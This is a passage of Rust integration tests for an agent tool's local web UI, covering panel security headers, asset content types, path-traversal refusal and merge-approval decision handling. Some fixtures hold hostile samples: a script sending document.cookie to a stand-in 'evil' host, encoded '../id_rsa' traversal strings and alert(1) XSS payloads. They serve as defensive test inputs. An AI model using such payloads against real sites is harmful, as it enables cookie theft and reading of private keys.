11102 let view = fx.get("/api/loop").await.json();
11103 if want(&view) {
11104 return view;
11105 }
11106 tokio::time::sleep(Duration::from_millis(10)).await;
11107 }
11108 panic!(
11109 "the loop never settled: {}",
11110 fx.get("/api/loop").await.json()
11111 );
11112 }
11113
11114 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11116 let store = fx.questions();
11117 let mut q = Question::new(
11118 "20260902-000000-beef".to_owned(),
11119 "implement".to_owned(),
11120 "impl-A".to_owned(),
11121 summary.to_owned(),
11122 "because it matters".to_owned(),
11123 choices.iter().map(|c| (*c).to_owned()).collect(),
11124 );
11125 store.put(&mut q).expect("put question");
11126 q.id
11127 }
11128
11129 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11135 let store = fx.questions();
11136 let mut q = Question::new(
11137 "20260902-000000-beef".to_owned(),
11138 "land".to_owned(),
11139 "fix".to_owned(),
11140 "Merge this?".to_owned(),
11141 "the diff is in the panel".to_owned(),
11142 vec!["merge".to_owned(), "hold".to_owned()],
11143 );
11144 let staging = fx.home.path().join("staging");
11147 std::fs::create_dir_all(&staging).expect("staging dir");
11148 let sources: Vec<PathBuf> = assets
11149 .iter()
11150 .map(|(name, bytes)| {
11151 let path = staging.join(name);
11152 std::fs::write(&path, bytes).expect("write staged asset");
11153 path
11154 })
11155 .collect();
11156 store
11157 .put_panel(&mut q, html, &sources)
11158 .expect("write the panel");
11159 store.put(&mut q).expect("put question");
11160 q.id
11161 }
11162
11163 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11172 seed_talk_at(&fx.talks(), id, status)
11173 }
11174
11175 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11176 std::fs::create_dir_all(store.root()).expect("talks dir");
11177 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11178 .expect("serialize a seat");
11179 let body = serde_json::json!({
11180 "schema": 1,
11181 "id": id,
11182 "repo": "/repo/magi",
11183 "agent": "mock",
11184 "status": status,
11185 "turns": [],
11186 "created_at": Timestamp::now().to_string(),
11187 "updated_at": Timestamp::now().to_string(),
11188 "seat": seat,
11189 });
11190 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11191 store.get(id).expect("the seeded talk has to be readable");
11192 id.to_owned()
11193 }
11194
11195 #[tokio::test]
11196 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11197 let fx = Fixture::start().await;
11198 let id = panel(
11199 &fx,
11200 "<h1>Merge?</h1><img src=\"diff.svg\">",
11201 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11202 );
11203
11204 for path in [
11205 format!("/api/questions/{id}/panel"),
11206 format!("/api/questions/{id}/asset/diff.svg"),
11207 ] {
11208 let res = fx.get(&path).await;
11209 assert_eq!(res.status, 200, "{path}: {}", res.body);
11210 assert_eq!(
11216 res.header("content-security-policy"),
11217 Some(
11218 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11219 font-src data:; base-uri 'none'; form-action 'none'; \
11220 frame-ancestors 'self'"
11221 ),
11222 "{path} is the only thing between a hostile panel and the tailnet"
11223 );
11224 assert_eq!(
11225 res.header("x-content-type-options"),
11226 Some("nosniff"),
11227 "{path}: a browser must not re-decide the type we sent"
11228 );
11229 assert_eq!(
11230 res.header("referrer-policy"),
11231 Some("no-referrer"),
11232 "{path}: a panel must not leak the question id off the machine"
11233 );
11234
11235 let pre = fx.head(&path).await;
11240 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11241 assert_eq!(
11242 pre.header("content-security-policy"),
11243 res.header("content-security-policy"),
11244 "{path}: the preflight carries the same policy"
11245 );
11246 assert_eq!(
11247 pre.header("content-type"),
11248 res.header("content-type"),
11249 "{path}: the preflight carries the same type"
11250 );
11251 }
11252 }
11253
11254 #[tokio::test]
11255 async fn a_panel_reaches_the_browser_byte_for_byte() {
11256 let fx = Fixture::start().await;
11257 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
11262 let id = panel(&fx, html, &[]);
11263
11264 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11265
11266 assert_eq!(res.status, 200);
11267 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11268 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11269 assert_eq!(
11270 res.header("content-disposition"),
11271 None,
11272 "the panel itself is rendered in the frame, not downloaded"
11273 );
11274 }
11275
11276 #[tokio::test]
11277 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11278 let fx = Fixture::start().await;
11279 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11280 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11281 let id = panel(
11282 &fx,
11283 "<img src=\"diff.svg\"><img src=\"shot.png\">",
11284 &[("diff.svg", svg), ("shot.png", png)],
11285 );
11286
11287 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11288 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11289
11290 assert_eq!(as_svg.status, 200);
11291 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11292 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11297
11298 assert_eq!(as_png.status, 200);
11299 assert_eq!(as_png.header("content-type"), Some("image/png"));
11300 assert_eq!(
11301 as_png.header("content-disposition"),
11302 None,
11303 "a raster image has no execution surface, so tapping it still shows it"
11304 );
11305 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11306 }
11307
11308 #[tokio::test]
11309 async fn an_html_asset_is_never_served_as_html() {
11310 let fx = Fixture::start().await;
11311 let id = panel(
11312 &fx,
11313 "<p>see the notes</p>",
11314 &[
11315 (
11316 "notes.html",
11317 b"<script>fetch('http://evil/'+document.cookie)</script>",
11318 ),
11319 ("hook.js", b"fetch('http://evil/')"),
11320 ("data.json", b"{}"),
11321 ("HEADLINE.TXT", b"plain"),
11322 ],
11323 );
11324
11325 for name in ["notes.html", "hook.js", "data.json"] {
11326 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11327 assert_eq!(res.status, 200, "{name}: {}", res.body);
11328 assert_eq!(
11333 res.header("content-type"),
11334 Some("application/octet-stream"),
11335 "{name} must not be a type the browser will execute or render"
11336 );
11337 }
11338 let txt = fx
11341 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11342 .await;
11343 assert_eq!(
11344 txt.header("content-type"),
11345 Some("text/plain; charset=utf-8")
11346 );
11347 }
11348
11349 #[tokio::test]
11350 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11351 let fx = Fixture::start().await;
11352 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11353 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11357
11358 for encoded in [
11365 "%2e%2e%2fid_rsa",
11366 "..%2fid_rsa",
11367 "..%5cid_rsa",
11368 "%2e%2e%5cid_rsa",
11369 "diff%00.svg",
11370 "..",
11371 ".hidden",
11372 "%2e%2e%2f%2e%2e%2fid_rsa",
11373 ] {
11374 let res = fx
11375 .get(&format!("/api/questions/{id}/asset/{encoded}"))
11376 .await;
11377 assert_eq!(
11378 res.status, 400,
11379 "`{encoded}` has to be refused by name, not looked up: {}",
11380 res.body
11381 );
11382 assert!(res.json()["error"].is_string(), "{}", res.body);
11383 }
11384
11385 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11391 let res = fx
11392 .get(&format!("/api/questions/{id}/asset/{literal}"))
11393 .await;
11394 assert_eq!(
11395 res.status, 404,
11396 "`{literal}` must not match the asset route at all: {}",
11397 res.body
11398 );
11399 }
11400 }
11401
11402 #[tokio::test]
11403 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11404 let fx = Fixture::start().await;
11405 let plain = ask(&fx, "Which backend?", &["SQLite"]);
11406 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11407
11408 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11412 assert_eq!(none.status, 404, "{}", none.body);
11413 assert!(none.json()["error"].is_string(), "{}", none.body);
11414 assert_eq!(
11415 fx.head(&format!("/api/questions/{plain}/panel"))
11416 .await
11417 .status,
11418 404,
11419 "the preflight is the only way the client can learn this"
11420 );
11421
11422 let missing = fx
11424 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11425 .await;
11426 assert_eq!(missing.status, 404, "{}", missing.body);
11427 assert!(missing.json()["error"].is_string(), "{}", missing.body);
11428
11429 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11431 assert_eq!(
11432 fx.get("/api/questions/nope/asset/diff.svg").await.status,
11433 404
11434 );
11435 }
11436
11437 #[tokio::test]
11438 async fn a_run_with_an_open_question_reads_as_waiting() {
11439 let fx = Fixture::start().await;
11440 let run = "20260902-000000-beef".to_owned();
11441 write_run(&fx.runs(), &run, RunStatus::Implementing);
11442
11443 let before = fx.get("/api/runs").await.json();
11444 assert_eq!(before[0]["waiting"], false, "{before}");
11445
11446 let store = fx.questions();
11447 let mut q = Question::new(
11448 run.clone(),
11449 "implement".to_owned(),
11450 "impl-A".to_owned(),
11451 "Which backend?".to_owned(),
11452 String::new(),
11453 vec!["SQLite".to_owned()],
11454 );
11455 store.put(&mut q).expect("put");
11456
11457 let during = fx.get("/api/runs").await.json();
11458 assert_eq!(during[0]["waiting"], true, "{during}");
11459
11460 q.answer(Answer::Choice("SQLite".to_owned()))
11463 .expect("answer");
11464 store.put(&mut q).expect("put");
11465 let after = fx.get("/api/runs").await.json();
11466 assert_eq!(after[0]["waiting"], false, "{after}");
11467 }
11468
11469 #[tokio::test]
11470 async fn an_open_question_is_listed_and_counted_by_health() {
11471 let fx = Fixture::start().await;
11472 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11473
11474 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11475 let listed = fx.get("/api/questions").await.json();
11476 assert_eq!(listed.as_array().expect("array").len(), 1);
11477 assert_eq!(listed[0]["id"], id);
11478 assert_eq!(listed[0]["status"], "open");
11479 assert_eq!(listed[0]["choices"][1], "Redis");
11480 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11483 }
11484
11485 fn obsolete_approval_state() -> RunState {
11486 let mut state = crate::land::tests::repair_state(true, true);
11487 state.pr = Some(crate::run::PrRecord {
11488 url: "https://github.com/example/repo/pull/42".into(),
11489 number: 42,
11490 state: "open".into(),
11491 checks: "green".into(),
11492 round: 1,
11493 rounds: 4,
11494 red_at_merge: Vec::new(),
11495 });
11496 state
11497 }
11498
11499 #[tokio::test]
11500 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11501 for owner in ["missing", "current", "completed", "later"] {
11502 let fx = Fixture {
11503 home: TempDir::new().unwrap(),
11504 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11505 };
11506 let mut state = obsolete_approval_state();
11507 state.status = RunStatus::Landing;
11508 state.parked = true;
11509 state.driver_exited = true;
11510 let mut q = Question::new(
11511 state.id.clone(),
11512 crate::land::APPROVAL_NODE.into(),
11513 "land".into(),
11514 "Old approval".into(),
11515 "Original evidence".into(),
11516 vec!["merge".into(), "hold".into()],
11517 );
11518 state.land_approval = Some(crate::run::LandApproval {
11519 question: q.id.clone(),
11520 head: "head".into(),
11521 });
11522 state.save_under(fx.home.path()).unwrap();
11523 let stale = state.clone();
11524 fx.questions().put(&mut q).unwrap();
11525 let mut task = Task::new(
11526 "Owner".into(),
11527 "Original instruction".into(),
11528 state.repo.clone(),
11529 Source::Human,
11530 );
11531 task.runs.push(state.id.clone());
11532 task.status = if owner == "completed" {
11533 TaskStatus::Done
11534 } else {
11535 TaskStatus::Parked
11536 };
11537 if owner == "later" {
11538 task.runs.push("later-run".into());
11539 }
11540 if owner != "missing" {
11541 fx.queue().put(&mut task).unwrap();
11542 }
11543 let ui = Arc::new(Ui::new(
11544 fx.queue(),
11545 fx.questions(),
11546 fx.talks(),
11547 fx.runs(),
11548 fx.home.path().into(),
11549 state.repo.clone(),
11550 ));
11551 let response = question_answer(
11552 State(ui),
11553 Path(q.id.clone()),
11554 Ok(Json(NewAnswer {
11555 choice: Some(crate::merge_decision::DISMISS.into()),
11556 text: None,
11557 ..Default::default()
11558 })),
11559 )
11560 .await
11561 .unwrap();
11562 assert_eq!(
11563 response.0.question.resolution().as_deref(),
11564 Some(crate::merge_decision::DISMISS)
11565 );
11566 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11567 assert_eq!(disk.status, RunStatus::Superseded);
11568 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11569 assert!(!crate::merge_decision::resumable_hold(&disk));
11570 assert_eq!(
11571 serde_json::to_value(&disk.pr).unwrap(),
11572 serde_json::to_value(&stale.pr).unwrap()
11573 );
11574 assert_eq!(fx.questions().count_open(), 0);
11575 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11576 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11577 if owner == "missing" {
11578 assert!(fx.queue().list().is_empty());
11579 } else {
11580 let after = fx.queue().get(&task.id).unwrap();
11581 assert_eq!(
11582 after.status,
11583 if owner == "current" {
11584 TaskStatus::Done
11585 } else {
11586 task.status
11587 }
11588 );
11589 assert_eq!(after.runs, task.runs);
11590 assert_eq!(after.instruction, task.instruction);
11591 assert_eq!(after.action_applied(&q.id), owner == "current");
11592 }
11593 }
11594 }
11595
11596 #[tokio::test]
11597 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11598 let fx = Fixture::start().await;
11599 let mut state = obsolete_approval_state();
11600 state.status = RunStatus::Landing;
11601 state.parked = true;
11602 state.driver_exited = true;
11603 let mut q = Question::new(
11604 state.id.clone(),
11605 crate::land::APPROVAL_NODE.into(),
11606 "land".into(),
11607 "Superseded PR approval".into(),
11608 "Original review evidence".into(),
11609 vec!["merge".into(), "hold".into()],
11610 );
11611 state.land_approval = Some(crate::run::LandApproval {
11612 question: q.id.clone(),
11613 head: "old-reviewed-head".into(),
11614 });
11615 state.save_under(fx.home.path()).unwrap();
11618 let stale_driver = state.clone();
11619 fx.questions().put(&mut q).unwrap();
11620 let path = fx
11621 .home
11622 .path()
11623 .join("questions")
11624 .join(format!("{}.json", q.id));
11625 let mut legacy = serde_json::to_value(&q).unwrap();
11626 legacy["schema"] = 9.into();
11627 legacy.as_object_mut().unwrap().remove("merge_target");
11628 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11629
11630 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11633 let answer_path = format!("/api/questions/{}/answer", q.id);
11634 let res = fx.post(&answer_path, Some(&body)).await;
11635 assert_eq!(res.status, 200, "{}", res.body);
11636 let disk = fx.questions().get(&q.id).unwrap();
11637 assert_eq!(
11638 disk.resolution().as_deref(),
11639 Some(crate::merge_decision::DISMISS)
11640 );
11641 assert!(disk.detail.starts_with("Original review evidence"));
11642 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11643 assert_eq!(retired.status, RunStatus::Superseded);
11644 assert_eq!(
11645 serde_json::to_value(&retired.pr).unwrap(),
11646 serde_json::to_value(&state.pr).unwrap()
11647 );
11648 assert!(!retired.merge_decision.as_ref().unwrap().closed);
11649 assert!(!crate::merge_decision::resumable_hold(&retired));
11650 assert!(fx.queue().list().is_empty());
11651 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11652 let addr = Fixture::serve(
11654 fx.home.path(),
11655 PathBuf::from("/repo/magi"),
11656 launch_idle,
11657 None,
11658 )
11659 .await;
11660 let reconnected = Fixture {
11661 home: fx.home,
11662 addr,
11663 };
11664 let listed = reconnected.get("/api/questions").await.json();
11665 assert!(
11666 listed
11667 .as_array()
11668 .unwrap()
11669 .iter()
11670 .all(|q| q["status"] != "open")
11671 );
11672 assert_eq!(listed[0]["id"], q.id, "history remains available");
11673 assert_eq!(
11674 reconnected.get("/api/health").await.json()["questions_open"],
11675 0
11676 );
11677 assert_eq!(
11678 reconnected
11679 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11680 .await
11681 .status,
11682 409
11683 );
11684 assert!(
11686 reconnected
11687 .questions()
11688 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11689 .is_err()
11690 );
11691 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11694 }
11695
11696 #[tokio::test]
11697 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11698 let fx = Fixture::start().await;
11699 let mut state = obsolete_approval_state();
11700 state.status = RunStatus::Landing;
11701 state.driver_exited = true;
11702 let mut q = Question::new(
11703 state.id.clone(),
11704 crate::land::APPROVAL_NODE.into(),
11705 "land".into(),
11706 "Obsolete approval".into(),
11707 String::new(),
11708 vec!["merge".into(), "hold".into()],
11709 );
11710 state.land_approval = Some(crate::run::LandApproval {
11711 question: q.id.clone(),
11712 head: "head".into(),
11713 });
11714 state.save_under(fx.home.path()).unwrap();
11715 fx.questions().put(&mut q).unwrap();
11716 let mut task = Task::new(
11717 "Owner".into(),
11718 "Original instruction".into(),
11719 state.repo.clone(),
11720 Source::Human,
11721 );
11722 task.runs = vec![state.id.clone(), "later-run".into()];
11723 fx.queue().put(&mut task).unwrap();
11724 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11725 let claim = fx.queue().claim(&task.id).unwrap();
11726 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11727 let path = format!("/api/questions/{}/answer", q.id);
11728 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11729 assert!(fx.questions().get(&q.id).unwrap().status.open());
11730 drop(claim);
11731 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11732 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11733 assert!(fx.questions().get(&q.id).unwrap().status.open());
11734 drop(publication);
11735 state.driver_exited = false;
11737 state.driver_pid = None;
11738 state.save_under(fx.home.path()).unwrap();
11739 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11740 state.driver_exited = true;
11741 state.land_armed_head = Some("head".into());
11742 state.save_under(fx.home.path()).unwrap();
11743 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11744 state.land_armed_head = None;
11745 state.save_under(fx.home.path()).unwrap();
11746 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11747 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11748 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11749 }
11750
11751 #[tokio::test]
11752 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11753 let fx = Fixture::start().await;
11754 let mut state = obsolete_approval_state();
11755 state.status = RunStatus::Landing;
11756 state.driver_exited = true;
11757 let mut q = Question::new(
11758 state.id.clone(),
11759 crate::land::APPROVAL_NODE.into(),
11760 "land".into(),
11761 "Obsolete approval".into(),
11762 String::new(),
11763 vec!["merge".into(), "hold".into()],
11764 );
11765 state.land_approval = Some(crate::run::LandApproval {
11766 question: q.id.clone(),
11767 head: "head".into(),
11768 });
11769 state.save_under(fx.home.path()).unwrap();
11770 fx.questions().put(&mut q).unwrap();
11771 let mut task = Task::new(
11772 "Owner".into(),
11773 "Original instruction".into(),
11774 state.repo.clone(),
11775 Source::Human,
11776 );
11777 task.runs.push(state.id.clone());
11778 task.status = TaskStatus::Parked;
11779 fx.queue().put(&mut task).unwrap();
11780 state.merge_decision = Some(crate::merge_decision::Decision {
11783 question: q.id.clone(),
11784 target: crate::merge_decision::Target {
11785 pr: state.pr.as_ref().unwrap().url.clone(),
11786 head: "head".into(),
11787 language: "ja".into(),
11788 },
11789 choice: crate::merge_decision::DISMISS.into(),
11790 closed: false,
11791 replacement_run: None,
11792 replacement_pr: None,
11793 });
11794 state.status = RunStatus::Superseded;
11795 state.save_under(fx.home.path()).unwrap();
11796 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11797 let path = format!("/api/questions/{}/answer", q.id);
11798 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11799 let done = fx.queue().get(&task.id).unwrap();
11800 assert_eq!(done.status, TaskStatus::Done);
11801 assert_eq!(done.runs, task.runs);
11802 assert_eq!(done.instruction, task.instruction);
11803 assert!(done.action_applied(&q.id));
11804 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11805 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11806 assert!(!fx.questions().get(&q.id).unwrap().status.open());
11807 }
11808
11809 #[tokio::test]
11810 async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
11811 let home = TempDir::new().unwrap();
11812 let ui = Arc::new(Ui::new(
11813 Queue::at(home.path().join("queue")),
11814 Questions::at(home.path().join("questions")),
11815 Talks::at(home.path().join("talks")),
11816 home.path().join("runs"),
11817 home.path().to_owned(),
11818 home.path().to_owned(),
11819 ));
11820 let talks = &ui.talks;
11821 let chat =
11822 talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
11823 let mut q = Question::new(
11824 "run".into(),
11825 crate::land::APPROVAL_NODE.into(),
11826 "land".into(),
11827 "Merge?".into(),
11828 String::new(),
11829 vec!["merge".into(), "hold".into()],
11830 );
11831 q.routed_task = Some("task".into());
11832 q.routed_chat = Some(chat.id.clone());
11833 q.merge_target = Some(crate::merge_decision::Target {
11834 pr: "https://example.test/pull/1".into(),
11835 head: "head-a".into(),
11836 language: "en".into(),
11837 });
11838 ui.questions.put(&mut q).unwrap();
11839 let send = |body| {
11840 question_answer(
11841 State(ui.clone()),
11842 Path(q.id.clone()),
11843 Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
11844 )
11845 };
11846 let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
11847 assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
11848 let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
11849 assert!(send(wrong_chat).await.is_err());
11850 let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
11851 assert!(send(stale).await.is_err());
11852 assert!(ui.questions.get(&q.id).unwrap().status.open());
11853 assert!(send(button.clone()).await.is_ok());
11854 assert_eq!(
11855 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
11856 Some("merge")
11857 );
11858 assert!(send(button).await.is_err());
11859 }
11860
11861 #[tokio::test]
11862 async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
11863 let home = TempDir::new().unwrap();
11864 let ui = Arc::new(Ui::new(
11865 Queue::at(home.path().join("queue")),
11866 Questions::at(home.path().join("questions")),
11867 Talks::at(home.path().join("talks")),
11868 home.path().join("runs"),
11869 home.path().to_owned(),
11870 home.path().to_owned(),
11871 ));
11872 for choice in [crate::land::APPROVE, crate::land::HOLD] {
11873 let mut q = Question::new(
11874 "run".into(),
11875 crate::land::APPROVAL_NODE.into(),
11876 "land".into(),
11877 "Merge?".into(),
11878 String::new(),
11879 vec!["merge".into(), choice.into()],
11880 );
11881 q.routed_task = Some("task".into());
11882 q.merge_target = Some(crate::merge_decision::Target {
11883 pr: "https://example.test/pull/1".into(),
11884 head: "head-a".into(),
11885 language: "en".into(),
11886 });
11887 ui.questions.put(&mut q).unwrap();
11888 let answer = |c: &str| {
11889 question_answer(
11890 State(ui.clone()),
11891 Path(q.id.clone()),
11892 Ok(Json(
11893 serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
11894 .unwrap(),
11895 )),
11896 )
11897 };
11898 let _ = answer(choice).await.unwrap();
11899 assert_eq!(
11900 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
11901 Some(choice)
11902 );
11903 }
11904 }
11905
11906 #[tokio::test]
11907 async fn a_routed_decision_is_refused_on_the_question_route() {
11908 let home = TempDir::new().unwrap();
11909 let ui = Arc::new(Ui::new(
11910 Queue::at(home.path().join("queue")),
11911 Questions::at(home.path().join("questions")),
11912 Talks::at(home.path().join("talks")),
11913 home.path().join("runs"),
11914 home.path().to_owned(),
11915 home.path().to_owned(),
11916 ));
11917 let mut q = Question::new(
11918 "run".into(),
11919 crate::github_text::ASK_NODE.into(),
11920 "posting-gate".into(),
11921 "Post?".into(),
11922 String::new(),
11923 vec!["use fallback".into()],
11924 );
11925 q.routed_task = Some("task".into());
11926 ui.questions.put(&mut q).unwrap();
11927 let sent = question_answer(
11928 State(ui.clone()),
11929 Path(q.id.clone()),
11930 Ok(Json(
11931 serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
11932 .unwrap(),
11933 )),
11934 )
11935 .await;
11936 assert!(sent.is_err());
11937 assert!(ui.questions.get(&q.id).unwrap().status.open());
11938 }
11939
11940 #[tokio::test]
11941 async fn merge_decision_api_persists_exact_target_and_selected_action() {
11942 let fx = Fixture {
11943 home: TempDir::new().unwrap(),
11944 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11945 };
11946 for choice in [
11947 crate::land::HOLD,
11948 crate::land::REPAIR,
11949 crate::land::APPROVE,
11950 crate::merge_decision::WITHDRAW,
11951 "reimplement:beta",
11952 ] {
11953 let mut q = Question::new(
11954 "old-run".into(),
11955 crate::land::APPROVAL_NODE.into(),
11956 "land".into(),
11957 "Decision".into(),
11958 "Review findings".into(),
11959 vec![
11960 "merge".into(),
11961 "hold".into(),
11962 crate::land::REPAIR.into(),
11963 crate::merge_decision::WITHDRAW.into(),
11964 "reimplement:beta".into(),
11965 ],
11966 );
11967 q.merge_target = Some(crate::merge_decision::Target {
11968 pr: "https://github.com/example/repo/pull/42".into(),
11969 head: "exact-reviewed-head".into(),
11970 language: "ja".into(),
11971 });
11972 q.consult = Some(ask::ChatConsult {
11973 talk: "another-conversation".into(),
11974 at: jiff::Timestamp::now(),
11975 });
11976 fx.questions().put(&mut q).unwrap();
11977 let ui = Arc::new(Ui::new(
11978 fx.queue(),
11979 fx.questions(),
11980 fx.talks(),
11981 fx.runs(),
11982 fx.home.path().into(),
11983 std::path::PathBuf::from("."),
11984 ));
11985 let response = question_answer(
11986 State(ui.clone()),
11987 Path(q.id.clone()),
11988 Ok(Json(NewAnswer {
11989 choice: Some(choice.into()),
11990 text: None,
11991 ..Default::default()
11992 })),
11993 )
11994 .await
11995 .unwrap();
11996 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
11997 let disk = fx.questions().get(&q.id).unwrap();
11998 assert_eq!(disk.merge_target, q.merge_target);
11999 assert_eq!(disk.consult, q.consult);
12000 assert!(
12001 disk.answer_authority.is_none(),
12002 "a direct owner card is its own decision"
12003 );
12004 assert_eq!(disk.resolution().as_deref(), Some(choice));
12005 assert!(
12006 question_answer(
12007 State(ui),
12008 Path(q.id.clone()),
12009 Ok(Json(NewAnswer {
12010 choice: Some("merge".into()),
12011 text: None,
12012 ..Default::default()
12013 }))
12014 )
12015 .await
12016 .is_err(),
12017 "an already settled decision cannot turn into merge approval"
12018 );
12019 }
12020 }
12021
12022 #[tokio::test]
12023 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12024 let fx = Fixture {
12025 home: TempDir::new().unwrap(),
12026 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12027 };
12028 let mut state = crate::land::tests::repair_state(true, true);
12029 state.status = RunStatus::Landing;
12030 state.parked = true;
12031 state.driver_exited = true;
12032 let mut task = Task::new(
12033 "Existing PR owner".into(),
12034 state.instruction.clone(),
12035 state.repo.clone(),
12036 Source::Human,
12037 );
12038 task.runs.push(state.id.clone());
12039 task.status = TaskStatus::Parked;
12040 fx.queue().put(&mut task).unwrap();
12041 let mut q = Question::new(
12042 state.id.clone(),
12043 crate::land::APPROVAL_NODE.into(),
12044 "land".into(),
12045 "Contested merge".into(),
12046 "Original evidence".into(),
12047 vec!["merge".into(), "hold".into()],
12048 );
12049 state.land_approval = Some(crate::run::LandApproval {
12050 question: q.id.clone(),
12051 head: "reviewed-head".into(),
12052 });
12053 state.save_under(fx.home.path()).unwrap();
12054 fx.questions().put(&mut q).unwrap();
12055 task.hold_manual(Some("Pause this PR".into()));
12057 fx.queue().put(&mut task).unwrap();
12058 let ui = Arc::new(Ui::new(
12061 fx.queue(),
12062 fx.questions(),
12063 fx.talks(),
12064 fx.runs(),
12065 fx.home.path().to_path_buf(),
12066 state.repo.clone(),
12067 ));
12068 let response = question_answer(
12069 State(ui),
12070 Path(q.id.clone()),
12071 Ok(Json(NewAnswer {
12072 choice: Some(crate::land::REPAIR.into()),
12073 text: None,
12074 ..Default::default()
12075 })),
12076 )
12077 .await
12078 .unwrap();
12079 assert_eq!(response.0.question.id, q.id);
12080 let upgraded = fx.questions().get(&q.id).unwrap();
12081 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12082 assert!(upgraded.detail.starts_with("Original evidence"));
12083 let claim = fx.queue().claim(&task.id).unwrap();
12084 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12085 assert!(
12086 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12087 "an existing driver keeps its claim"
12088 );
12089 drop(claim);
12090 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12091 let resumed = fx.queue().get(&task.id).unwrap();
12092 assert_eq!(
12093 resumed
12094 .resume_override
12095 .as_ref()
12096 .unwrap()
12097 .pinned_run
12098 .as_deref(),
12099 Some(state.id.as_str())
12100 );
